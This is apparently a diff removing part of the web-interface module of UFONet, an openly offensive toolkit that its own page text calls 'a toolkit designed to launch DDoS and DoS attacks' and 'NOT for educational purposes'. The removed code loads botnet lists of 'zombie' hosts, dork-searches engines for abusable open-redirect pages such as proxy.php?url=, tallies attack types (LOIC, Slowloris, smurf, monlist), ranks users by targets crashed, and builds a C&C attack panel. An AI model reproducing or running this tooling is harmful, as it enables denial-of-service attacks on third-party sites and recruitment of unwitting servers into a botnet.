- ranking_items[ranking_nickname] = ranking_ranking
- except:
- ranking_nickname = "Anonymous"
- ranking_ranking = 0
- ranking_items[ranking_nickname] = ranking_ranking
- self.top_rookie = []
- self.top_mercenary = []
- self.top_bandit = []
- self.top_ufommander = []
- self.top_ufoleet = []
- for k, v in ranking_items.items():
- if v is 0: # not any data (or decryption allowed) on grid so discard
- pass
- if v is 1: # add this player as a rookie
- self.ranking_grid_rookie = self.ranking_grid_rookie + 1
- self.top_rookie.append(k)
- elif v is 2: # add this player as a mercenary
- self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
- self.top_mercenary.append(k)
- elif v is 3: # add this player as a bandit
- self.ranking_grid_bandit = self.ranking_grid_bandit + 1
- self.top_bandit.append(k)
- elif v is 4: # add this player as a ufommander
- self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
- self.top_ufommander.append(k)
- elif v is 5: # add this player as a ufoleet
- self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
- self.top_ufoleet.append(k)
- else: # add this player as unknown
- self.ranking_grid_unknown = self.ranking_grid_unknown + 1
- top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
- for p in top5: # extract best players
- if self.ranking_top5_player1 == "Anonymous":
- self.ranking_top5_player1 = p
- elif self.ranking_top5_player2 == "Anonymous":
- self.ranking_top5_player2 = p
- elif self.ranking_top5_player3 == "Anonymous":
- self.ranking_top5_player3 = p
- elif self.ranking_top5_player4 == "Anonymous":
- self.ranking_top5_player4 = p
- elif self.ranking_top5_player5 == "Anonymous":
- self.ranking_top5_player5 = p
- if self.ranking == "Rookie":
- shuffle(self.top_rookie) # shuffle for different results
- top3 = self.top_rookie[:3]
- elif self.ranking == "Mercenary":
- shuffle(self.top_mercenary)
- top3 = self.top_mercenary[:3]
- elif self.ranking == "Bandit":
- shuffle(self.top_bandit)
- top3 = self.top_bandit[:3]
- elif self.ranking == "UFOmmander!":
- shuffle(self.top_ufommander)
- top3 = self.top_ufommander[:3]
- elif self.ranking == "UFOl33t!":
- shuffle(self.top_ufoleet)
- top3 = self.top_ufoleet[:3]
- for p in top3: # extract similar player
- if self.ranking_similar_player1 == "Anonymous":
- self.ranking_similar_player1 = p
- elif self.ranking_similar_player2 == "Anonymous":
- self.ranking_similar_player2 = p
- elif self.ranking_similar_player3 == "Anonymous":
- self.ranking_similar_player3 = p
- top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
- shuffle(top1) # shuffle for different results
- top1 = random.choice(top1).strip() # extract random player
- self.ranking_top1_player1 = top1
-
- def __init__(self):
- self.crypto_key = crypto_key # set default symmetric crypto key
- self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
- self.board_file = 'data/board.txt' # set source path to retrieve board warning message
- self.grid_file = 'data/grid.txt' # set source path to retrieve grid
- self.board_warning = "" # set initial (str) board warning message
- self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
- self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
- self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
- self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
- self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
- self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
- self.release_date_file = "docs/release.date" # set source path to retrieve release date
- self.news = "data/news.txt" # set source path to retrieve server news
- self.missions = "data/missions.txt" # set source path to retrieve server missions
- self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
- self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
- self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
- self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
- self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
- self.ranking = "Rookie Star" # set starting rank
- self.decryptedtext = "" # set buffer for decryption
- self.encryptedtext = "" # set buffer for encryption
- self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
- self.blackhole = default_blackhole # set default blackhole
- self.blackholes_status = "Not connected!" # set default status for blackholes
- self.blackholes_status_color = "red" # set default status color for blackholes
- self.referer = 'http://127.0.0.1/'
- self.mothershipname = "core/txt/shipname.txt"
- self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
- self.favicon_img = open("core/images/favicon.txt").read()
- self.mothership_img = open("core/images/mothership.txt").read()
- self.commander_img = open("core/images/commander.txt").read()
- self.board_img = open("core/images/board.txt").read()
- self.alien1_img = open("core/images/aliens/alien1.txt").read()
- self.alien2_img = open("core/images/aliens/alien2.txt").read()
- self.alien3_img = open("core/images/aliens/alien3.txt").read()
- self.alien4_img = open("core/images/aliens/alien4.txt").read()
- self.alien5_img = open("core/images/aliens/alien5.txt").read()
- self.alien6_img = open("core/images/aliens/alien6.txt").read()
- self.alien7_img = open("core/images/aliens/alien7.txt").read()
- self.alien8_img = open("core/images/aliens/alien8.txt").read()
- self.ranking_grid_total = 0
- self.ranking_grid_rookie = 0
- self.ranking_grid_mercenary = 0
- self.ranking_grid_bandit = 0
- self.ranking_grid_ufommander = 0
- self.ranking_grid_ufoleet = 0
- self.ranking_grid_unknown = 0
- self.ranking_top5_player1 = "Anonymous"
- self.ranking_top5_player2 = "Anonymous"
- self.ranking_top5_player3 = "Anonymous"
- self.ranking_top5_player4 = "Anonymous"
- self.ranking_top5_player5 = "Anonymous"
- self.ranking_similar_player1 = "Anonymous"
- self.ranking_similar_player2 = "Anonymous"
- self.ranking_similar_player3 = "Anonymous"
- self.ranking_top1_player1 = "Anonymous"
- f = open(self.mothershipname) # extract ship name
- self.mothership_id = f.read()
- self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
- f.close()
- f = open(self.release_date_file) # extract release creation datetime
- self.release_date = f.read()
- # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
- self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
- self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
- self.trans_5C = self.trans_5C.encode("latin-1")
- self.trans_36 = self.trans_36.encode("latin-1")
- f.close()
- f = open(self.blackholes) # double extract blackholes (nodes.dat)
- self.blackholes_text = f.read()
- f.close()
- f = open(self.blackholes)
- self.blackholes_block = f.readlines()
- f.close()
- self.list_blackholes = []
- for b in self.blackholes_block:
- self.list_blackholes.append(b)
- self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
- if self.blackholes_datetime == self.release_date_file: # never connected to feeds
- self.blackholes_status_color = "red" # set status color for blackholes to 'red'
- else:
- self.blackholes_status_color = "green" # set status color for blackholes to 'green'
- f = open(self.news) # double extract news
- self.news_text = f.read()
- f.close()
- f = open(self.news)
- self.news_block = f.readlines()
- f.close()
- self.list_news = []
- for n in self.news_block:
- self.list_news.append(n)
- self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
- if self.news_datetime == self.release_date_file: # never connected to feeds
- self.news_status_color = "red" # set status color for news to 'red'
- else:
- self.news_status_color = "green" # set status color for news to 'green'
- f = open(self.board_file) # double extract board
- self.moderator_text = f.read()
- f.close()
- f = open(self.board_file)
- self.moderator_block = f.readlines()
- f.close()
- self.list_moderator = []
- for n in self.moderator_block:
- self.list_moderator.append(n)
- f = open(self.grid_file) # double grid board
- self.grid_text = f.read()
- self.ranking_text = f.read() # ranking data is extracted from grid
- f.close()
- f = open(self.grid_file)
- self.grid_block = f.readlines()
- f.close()
- self.list_grid = []
- for n in self.grid_block:
- self.list_grid.append(n)
- self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
- if self.ranking_datetime == self.release_date_file: # never connected to feeds
- self.ranking_status_color = "red" # set status color for ranking to 'red'
- else:
- self.ranking_status_color = "green" # set status color for ranking to 'green'
- f = open(self.wargames_file) # double wargames board
- self.wargames_text = f.read()
- f.close()
- f = open(self.wargames_file)
- self.wargames_block = f.readlines()
- f.close()
- self.list_wargames = []
- for n in self.wargames_block:
- self.list_wargames.append(n)
- f = open(self.missions) # double extract missions
- self.missions_text = f.read()
- f.close()
- f = open(self.missions)
- self.missions_block = f.readlines()
- f.close()
- self.list_missions = []
- for m in self.missions_block:
- self.list_missions.append(m)
- self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
- if self.missions_datetime == self.release_date_file: # never connected to feeds
- self.missions_status_color = "red" # set status color for missions to 'red'
- else:
- self.missions_status_color = "green" # set status color for missions to 'green'
- stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
- data = json.load(stats_json_file)
- stats_json_file.close()
- self.abductor = Abductor(self) # call abductor for data size conversor
- self.aflying = data["flying"]
- self.ascanner = data["scanner"]
- self.atransferred = data["transferred"]
- self.amax_chargo = data["max_chargo"]
- self.amissions = data["missions"]
- self.acompleted = data["completed"]
- self.aloic = data["loic"]
- self.aloris = data["loris"]
- self.aufosyn = data["ufosyn"]
- self.aspray = data["spray"]
- self.asmurf = data["smurf"]
- self.axmas = data["xmas"]
- self.anuke = data["nuke"]
- self.atachyon = data["tachyon"]
- self.amonlist = data["monlist"]
- self.tcrashed = data["crashed"]
- if int(self.acompleted) > 0: # check for attacks completed
- self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
- else:
- self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
- if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
- self.ranking = "Rookie"
- elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
- self.ranking = "Mercenary"
- elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
- self.ranking = "Bandit"
- elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
- self.ranking = "UFOmmander!"
- elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
- self.ranking = "UFOl33t!"
- f = open(self.zombies_file)
- self.zombies = f.readlines()
- self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
- self.list_zombies = []
- for zombie in self.zombies:
- t = urlparse(zombie)
- name_zombie = t.netloc
- if "www." in name_zombie:
- name_zombie = name_zombie.replace("www.","")
- self.list_zombies.append(name_zombie)
- self.num_zombies = str(len(self.zombies))
- f.close()
- f = open(self.aliens_file)
- self.aliens = f.readlines()
- self.aliens = [alien.replace('\n', '') for alien in self.aliens]
- self.list_aliens = []
- for alien in self.aliens:
- t = urlparse(alien)
- name_alien = t.netloc
- if "www." in name_alien:
- name_alien = name_alien.replace("www.","")
- self.list_aliens.append(name_alien)
- self.num_aliens = str(len(self.aliens))
- f.close()
- f = open(self.droids_file)
- self.droids = f.readlines()
- self.droids = [droid.replace('\n', '') for droid in self.droids]
- self.list_droids = []
- for droid in self.droids:
- t = urlparse(droid)
- name_droid = t.netloc
- if "www." in name_droid:
- name_droid = name_droid.replace("www.","")
- self.list_droids.append(name_droid)
- self.num_droids = str(len(self.droids))
- f.close()
- f = open(self.ucavs_file)
- self.ucavs = f.readlines()
- self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
- self.list_ucavs = []
- for ucav in self.ucavs:
- t = urlparse(ucav)
- name_ucav = t.netloc
- if "www." in name_ucav:
- name_ucav = name_ucav.replace("www.","")
- self.list_ucavs.append(name_ucav)
- self.num_ucavs = str(len(self.ucavs))
- f.close()
- f = open(self.rpcs_file)
- self.rpcs = f.readlines()
- self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
- self.list_rpcs = []
- for rpc in self.rpcs:
- t = urlparse(rpc)
- name_rpc = t.netloc
- if "www." in name_rpc:
- name_rpc = name_rpc.replace("www.","")
- self.list_rpcs.append(name_rpc)
- self.num_rpcs = str(len(self.rpcs))
- f.close()
- self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
- f = open(self.wargames_file, "r")
- ls = f.readlines()
- f.close()
- self.supply_wargames = 0
- self.wargames_engage_list = []
- for l in ls:
- if "!!!" in l:
- self.wargames_engage_list.append(l)
- self.supply_wargames = self.supply_wargames + 1
- if self.supply_wargames > 0:
- if self.supply_wargames == 1:
- c_supply = "wargame"
- else:
- c_supply = "wargames"
- self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
- self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
- else:
- self.current_tasks = ""
- self.options = UFONetOptions()
- self.pages = {}
- self.pages["/header"] = """<!DOCTYPE html><html>
- <head>
- <link rel="icon" type="image/png" href="/images/favicon.ico" />
- <meta name="author" content="psy">
- <meta name="robots" content="noindex, nofollow">
- <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
- <title>UFONet - [ C&C/DarkNet ]</title>
- <script language="javascript" src="/lib.js"></script>
- <script language="javascript" src="js/stars.js"></script>
- <style>
- body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
- </style>"""
- self.pages["/footer"] = """</center></body>
- </html>
- """
- self.pages["/"] = self.pages["/header"] + """<script language="javascript">
- function Start() {
- var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
- }
- </script>
- <script type="text/javascript">
- var text="REMEMBER -> This code is NOT for educational purposes!!";
- var delay=1;
- var currentChar=1;
- var destination="tt";
- function type()
- {
- if (document.getElementById)
- {
- var dest=document.getElementById(destination);
- if (dest)
- {
- dest.innerHTML=text.substr(0, currentChar);
- currentChar++
- if (currentChar>text.length)
- {
- currentChar=1;
- setTimeout("type()", 5000);
- }
- else
- {
- setTimeout("type()", delay);
- }
- }
- }
- }
- function startTyping(textParam, delayParam, destinationParam)
- {
- text=textParam;
- delay=delayParam;
- currentChar=1;
- destination=destinationParam;
- type();
- }
- </script>
- <link rel="stylesheet" href="/js/ufo-cloud.css" />
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center><br><br><br><br>
- <table><tr><td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
- <div class="ufo-cloud">
- <ul>
- <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
- <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
- <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
- <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
- <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
- <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
- <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
- <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
- <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
- <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
- <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
- <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
- <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
- <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
- <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
- <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
- <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
- <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
- <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
- </ul>
- </div>
- </td></tr></table><br>
- <hr>
- <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
- <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
- <script type="text/javascript">
- startTyping(text, 80, "tt");
- </script><hr><br />
- <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
- self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
- var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
- }
- </script>
- <script>function Missions() {
- var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
- }
- </script>
- <script>function Stats() {
- var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
- }
- </script>
- <script>function Board() {
- var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
- }
- </script>
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="38" cellspacing="38">
- <tr>
- <td>
- <div class="ringMenu">
- <ul>
- <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
- <li class="top"><a href="botnet">Botnet</a></li>
- <li class="right"><a href="inspect">Inspect</a></li>
- <li class="bottom"><a href="attack">Attack</a></li>
- <li class="left"><a href="help">Help</a></li>
- </ul>
- </div>
- </td>
- <td>
- <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
- <tr>
- <td>
- <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
- ----------------------------------
- """ + self.options.version + """
- - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
- | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
- -----------------------------------
- Mothership ID: <b>""" + str(self.mothership_id) + """</b>
- - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</a></b>
- """+str(self.current_tasks)+"""</td>
- <td>
- <table>
- <tr>
- <td><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"></td>
- <td><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"></td>
- </tr>
- <tr>
- <td><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"></td>
- <td><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"></td>
- </tr>
- </table>
- </td>
- </tr>
- </table>
- </td>
- </tr>
- </table>
- <div id="cmdOut"></div>
- """ + self.pages["/footer"]
- self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
- function Requests() {
- var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Maps() {
- var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
- win_map.resizeTo(screen.width,screen.height);
- }
- function Start(){
- dork=document.getElementById("dork").value
- s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
- if (document.getElementById("autosearch").checked){
- document.getElementById("autosearch").value = "on";
- } else {
- document.getElementById("autosearch").value = "off";
- }
- autosearch = document.getElementById("autosearch").value
- if (document.getElementById("dork_list").checked){
- document.getElementById("dork_list").value = "on";
- } else {
- document.getElementById("dork_list").value = "off";
- }
- dork_list = document.getElementById("dork_list").value
- if(dork == "" && dork_list == "off" && autosearch == "off") {
- window.alert("You need to enter a source for dorking...");
- return
- }else{
- if (document.getElementById("all_engines").checked){
- document.getElementById("all_engines").value = "on";
- exclude_engines=document.getElementById("exclude_engines").value
- } else {
- document.getElementById("all_engines").value = "off";
- }
- all_engines = document.getElementById("all_engines").value
- params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
- runCommandX("cmd_search",params)
- }
- }
- function showHide()
- {
- if(document.getElementById("dork_list").checked)
- {
- document.getElementById("dork_pattern").style.display = "none";
- document.getElementById("autosearch_pattern").style.display = "none";
- }
- else {
- document.getElementById("dork_pattern").style.display = "";
- document.getElementById("autosearch_pattern").style.display = "";
- }
- }
- function showHideEngines()
- {
- if(document.getElementById("all_engines").checked)
- {
- document.getElementById("s_engine").style.display = "none";
- document.getElementById("sex_engine").style.display = "";
- }
- else {
- document.getElementById("s_engine").style.display = "";
- document.getElementById("sex_engine").style.display = "none";
- }
- }
- function HideAll()
- {
- if(document.getElementById("autosearch").checked)
- {
- document.getElementById("s_engine").style.display = "none";
- document.getElementById("dork_pattern").style.display = "none";
- document.getElementById("list_pattern").style.display = "none";
- document.getElementById("allengines_pattern").style.display = "none";
- document.getElementById("all_engines").checked = false;
- document.getElementById("dork_list").checked = false;
- document.getElementById("dork").value = "";
- }
- else {
- document.getElementById("s_engine").style.display = "";
- document.getElementById("dork_pattern").style.display = "";
- document.getElementById("list_pattern").style.display = "";
- document.getElementById("allengines_pattern").style.display = "";
- }
- }
- </script>
- <script>function Blackholes() {
- var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
- }
- </script>
- </head>
- <body bgcolor="black" text="yellow" style="font-family:Â Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
- <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
- <center>
- <table cellpadding="38" cellspacing="38">
- <tr>
- <td>
- <div class="ringMenu">
- <ul>
- <li class="main"><a href="botnet">Botnet</a></li>
- <li class="top"><a href="help">Help</a></li>
- <li class="right"><a href="inspect">Inspect</a></li>
- <li class="bottom"><a href="attack">Attack</a></li>
- <li class="left"><a href="gui">RETURN</a></li>
- </ul>
- </div>
- </td>
- <td>
- <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
- <tr><td>
- <pre>
- <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
- <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
- * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
- * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
- * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
- * Search using this search engine: <select id="engines_list">
- <option value="duck" selected>duck</option>
- <option value="bing">bing</option>
- <option value="yahoo">yahoo</option>
- <!-- <option value="google">google (no TOR!)</option>-->
- <!-- <option value="yandex">yandex</option>-->
- </select></div><div id="allengines_pattern" style="display:block;">
- * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
- * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
- <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
- <br><hr>
- * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
- <td>
- <table cellpadding="5" cellspacing="2">
- <tr>
- <td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td>
- </tr>
- <tr>
- <table><tr>
- <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
- </tr>
- <tr><td><hr></td></tr>
- <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
- <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
- <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
- <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
- <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
- </table>
- </table>
- </td>
- </tr></table>
- </td>
- </tr></table>
- <hr>
- <div id="cmdOut"></div>
- """ + self.pages["/footer"]
- self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
- function Requests() {
- var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Grid() {
- var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function Wargames() {
- var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
- }
- function ShowPanel() {
- if (document.getElementById("extra_attack").checked){
- document.getElementById("extra_panel").style.display = "block";
- document.getElementById("loic").value = "";
- document.getElementById("loris").value = "";
- document.getElementById("ufosyn").value = "";
- document.getElementById("spray").value = "";
- document.getElementById("smurf").value = "";
- document.getElementById("xmas").value = "";
- document.getElementById("nuke").value = "";
- document.getElementById("tachyon").value = "";
- document.getElementById("monlist").value = "";
- document.getElementById("dbstress").value = "";
- } else {
- document.getElementById("extra_panel").style.display = "none";
- document.getElementById("loic").value = "";
